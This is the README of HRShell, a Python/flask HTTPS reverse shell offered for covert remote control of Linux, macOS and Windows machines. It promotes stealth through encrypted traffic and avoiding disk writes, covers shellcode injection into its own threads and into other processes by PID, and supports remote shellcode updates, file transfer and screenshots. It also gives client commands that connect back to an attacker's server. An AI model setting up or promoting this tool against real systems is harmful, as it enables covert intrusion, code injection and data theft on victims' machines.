HRShell

HRShell is an HTTPS/HTTP reverse shell built with flask and is compatible with python 3.x. The client.py has been successfully tested on:

• Linux ubuntu 18.04 LTS, Kali Linux 2019.3
• macOS Mojave/Catalina
• Windows 7/10

while the server.py is compatible with Unix systems (Windows support comming soon...)

Features

• It's stealthy
• TLS support 🔑
  • Either using on-the-fly certificates or
  • By specifying a cert/key pair (more details below...)
• Shellcode injection 💉 (more details below...)
  • Either shellcode injection in a thread/spawned-process of the current running process
    • Platforms supported so far:
      • Windows x86
      • Unix x86
      • Unix x64
  • or shellcode injection into another process (migrate <PID>) by specifying its PID
    • Platforms supported so far:
      • Windows x86
      • Windows x64
• Shellcode can be set/modified on the fly from the server (more details below...)
• Proxy support on client.
• Directory navigation (cd command and variants).
• Interactive history command available on Unix systems.
• download/upload/screenshot/hex commands available.
• Pipelining (|) & chained commands (;) are supported
• Support for every non-interactive (like gdb, top etc...) command
• Server is both HTTP & HTTPS capable.
• It comes with two built-in servers 🌐 so far... flask built-in & tornado-WSGI while it's also compatible with other production servers like gunicorn and Nginx.
• Both server.py and client.py are easily extensible.
• Since the most functionality comes from server's endpoint-design it's very easy to write a client in any other language e.g. java, GO etc...

_{*For version changes check-out CHANGELOG.}

Details

---

Stealthy :shipit:

HRShell is stealthy since it uses the HTTP(S) protocol as the communication method between client and server. In addition when TLS is in use the traffic is also encrypted. Also if the CERT is not hand coded on client-side (which is a feasible option) and the upload command is not used, then client.py doesn't touches the disk at all.

TLS 🔑

Server-side: Unless --http option is specified, by default server.py is HTTPS using on-the-fly certificates, since on-the-fly certificates are a built-in flask-feature. But if -s tornado option is specified in order to make the server use TLS, a --cert and a --key option must be specified like so:

python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

Either "real" certificates can be used or another way to generate a cert/key pair is e.g. either using mkcert or openssl directly like so:

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

A cert/key pair can also be used with the flask-server:

python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ If the server is using TLS, then by design the client can't use http://... to connect to the server, but must explicitly use https instead.

Client-side: By default client's SSL verification is disabled, unless:

• either the --cert parameter is specified e.g.:

  python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
  

• or the CERT variable, instead of the default None value is set beforehand with a valid certificate e.g.:

  CERT = """
  -----BEGIN CERTIFICATE-----
  MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
  BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
  VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
  ...
  -----END CERTIFICATE-----
  """
  

  In this case client.py will attempt to create a hidden .cert.pem file on the fly and will use that instead.

⚠️ That the SSL verification is disabled by default on client doesn't mean in any case that the TLS is disabled too, TLS will be enabled if the server uses it - so TLS depends completely on the server. The --cert option on client is there just as an alternative way for the server-client to have an encrypted session and that's all.

Shellcode injection 💉

There are two "modes" of shellcode injection using the two following commands respectively:

1. migrate <PID>: Using this command we can inject shellcode into the memory space of another process by specifying its PID. For now this command can only be applied at Windows x86/x64 platforms!

2. inject shellcode: Using this command a new thread (or spawned process on unix systems) of our current process is created and the shellcode injection occurs in its memory space. As a result our HTTP(S) shell is not affected by the injection. The platforms where this command can be applied are: Unix x86/x64, Windows x86 platforms!

Notes

• In case the injection happens on a process, then process-permissions play a very important role. It's not always possible to inject on any process due to lack of appropriate privileges.

Set/Modify shellcode

There are two ways you can specify/set what type of shellcode you want the client to execute:

• Either pre-set shellcode variable on client.py script to be a valid shellcode or
• Use the set shellcode <shellcode-id> command to do that on the fly. With this command you can update your shellcode on client-side from server-side as many times as you like!

The first way is pretty straight forward. However in order to use the second and more convenient way (since you can also modify an already specified shellcode) you have to set shellcodes/utils.py script such that it contains the shellcode(s) of your choise. The script contains an example of how you can do that.